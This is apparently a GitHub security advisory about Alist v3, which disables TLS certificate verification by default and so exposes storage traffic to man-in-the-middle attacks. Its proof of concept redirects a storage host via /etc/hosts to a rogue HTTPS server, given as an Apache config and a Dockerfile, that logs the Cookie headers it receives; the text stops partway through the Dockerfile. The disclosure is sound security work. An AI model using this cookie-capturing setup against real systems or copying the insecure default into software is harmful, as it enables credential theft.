GitHub Security Advisory: GHSA-8jmm-3xwx-w974
Package: github.com/alist-org/alist/v3 (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-295: Improper Certificate Validation
Vulnerable versions: < 3.57.0
Patched in: 3.57.0

Summary: Alist has Insecure TLS Config

Details:
### Summary
The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.

### Details
Certificate verification is disabled by default for all storage driver communications.

The `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159).

~~~go
func DefaultConfig() *Config {
    // ...
    TlsInsecureSkipVerify: true,
    // ...
}
~~~

This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. 



#### PoC
The /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.

The purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.

[Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d)



##### Setup a malicious https server:

ssl.conf:
~~~
LoadModule ssl_module modules/mod_ssl.so
LoadModule log_config_module modules/mod_log_config.so

Listen 443

LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers
CustomLog "/usr/local/apache2/logs/headers.log" headers

<VirtualHost _default_:443>
    DocumentRoot "/usr/local/apache2/htdocs"
    ServerName localhost

    SSLEngine on
    SSLCertificateFile "/usr/local/apache2/conf/server.crt"
    SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"

    ErrorLog "/usr/local/apache2/logs/ssl_error.log"

    <Directory "/usr/local/apache2/htdocs">
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>
~~~

Dockerfile:
~~~
FROM httpd:2.4

# Copy SSL config
COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf

# Include SSL config in main httpd.conf
RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf